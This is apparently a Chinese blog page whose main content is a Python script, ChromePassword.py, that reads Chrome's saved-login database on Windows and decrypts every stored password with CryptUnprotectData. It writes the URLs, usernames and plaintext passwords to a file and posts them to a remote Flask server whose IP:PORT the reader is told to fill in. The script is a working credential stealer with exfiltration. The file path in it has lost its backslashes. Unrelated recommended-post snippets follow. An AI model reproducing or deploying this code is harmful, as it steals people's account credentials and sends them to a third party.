# -*- coding: utf-8 -*-
2# @Author : pwf
3
4# @Date : 2019/5/18 22:53
5# Software : PyCharm
6# version:Python 3.6.8
7# @File : ChromePassword.py
8import os
10import shutil
11import sqlite3
12import win32crypt
13import json
14import requests
15
16APP_DATA_PATH = os.environ["LOCALAPPDATA"]
17DB_PATH = r'GoogleChromeUser DataDefaultLogin Data'
18
19class ChromePassword:
21
22 def __init__(self):
23 self.passwordsList = []
24
25 def get_chrome_db(self):
26 _full_path = os.path.join(APP_DATA_PATH, DB_PATH)
27 _tmp_file = os.path.join(os.environ['LOCALAPPDATA'], 'sqlite_file')
28 if os.path.exists(_tmp_file):
29 os.remove(_tmp_file)
30 shutil.copyfile(_full_path, _tmp_file)
31 self.show_passwords(_tmp_file)
32
33 def show_passwords(self, db_file):
34 conn = sqlite3.connect(db_file)
35 _sql = '''select signon_realm,username_value,password_value from logins'''
36 for row in conn.execute(_sql):
37 ret = win32crypt.CryptUnprotectData(row[2], None, None, None, 0)
38 # 密码解析后得到的是字节码,需要进行解码操作
39 _info = 'url: %-40s username: %-20s password: %s
' %
40 (row[0][:50], row[1], ret[1].decode())
41 self.passwordsList.append(_info)
42 conn.close()
43 os.remove(db_file)
44
45 def save_passwords(self):
46 with open('password.txt', 'w', encoding='utf-8') as f:
47 f.writelines(self.passwordsList)
48
49 def transfer_passwords(self):
50 try:
51 # 此处填写远端Flask对应的IP:PORT
52 requests.post('http://192.168.1.102:9999/index',
53 data=json.dumps(self.passwordsList))
54 except requests.exceptions.ConnectionError:
55 pass
56
57if __name__ == '__main__':
59 Main = ChromePassword()
60 Main.get_chrome_db()
61 Main.save_passwords()
62 Main.transfer_passwords()

ChromePassword的更多相关文章

随机推荐

  1. centos7清楚journal日志

    1.只保留1天的日志 journalctl --vacuum-time=1d 参考:https://blog.csdn.net/ithomer/article/details/90634579

  2. 正则re模块--入门

    本文来源:https://www.cnblogs.com/dyfblog/p/5880728.html 对字符串操作 1.应用: 当我们爬取的东西在js文件中,比如我爬今日头条美女的图片时,它的图片u ...

  3. python入门小结

    以下划线开头的标识符是有特殊意义的.以单下划线开头(_foo)的代表不能直接访问的类属性,需通过类提供的接口进行访问,不能用"from xxx import *"而导入: 以双下划 ...

  4. Android开发自定义View

    Android中View组件的作用类似于Swing变成中的JPanel,它只是一个空白的矩形区域,View组件中没有任何内容.对于Android应用的其他UI组件来说,它们都继承了View组件,然后在 ...

  5. Maven 之 profile 与Spring boot 的 profile

    一.概述 不同的环境(测试环境.开发环境)有不同的配置,目前希望在打包的时候,就直接打出针对不同环境的包(内含有某个环境的配置).Maven本身在 pom.xml 中就提供了 profile 标签进行 ...

  6. Java8排序

    @Data @AllArgsConstructor @NoArgsConstructor public class Apple { private int wight; } 排序 List<In ...

  7. 非常简约学生管理系统——HashSet进行编写

    很小的一个练习,可以参考一下啊~~~~~~ 1:注意:学生类中进行多个重要方法的重写 package com.xt.homework; public class Student { private S ...

  8. SQL Join的应用(转)

    INNER JOIN LEFT JOIN RIGHT JOIN OUTER JOIN LEFT JOIN EXCLUDING INNER JOIN RIGHT JOIN EXCLUDING INNER ...

  9. python之时间日期datetime

    相比于time模块,datetime模块的接口则更直观.更容易调用datetime模块定义了以下几个类: datetime.date():表示日期的类.常用的属性是year,month,day:dat ...

  10. js数组的所有方法

    修改器方法 下面的这些方法会改变调用它们的对象自身的值: Array.prototype.copyWithin()  在数组内部,将一段元素序列拷贝到另一段元素序列上,覆盖原有的值. Array.pr ...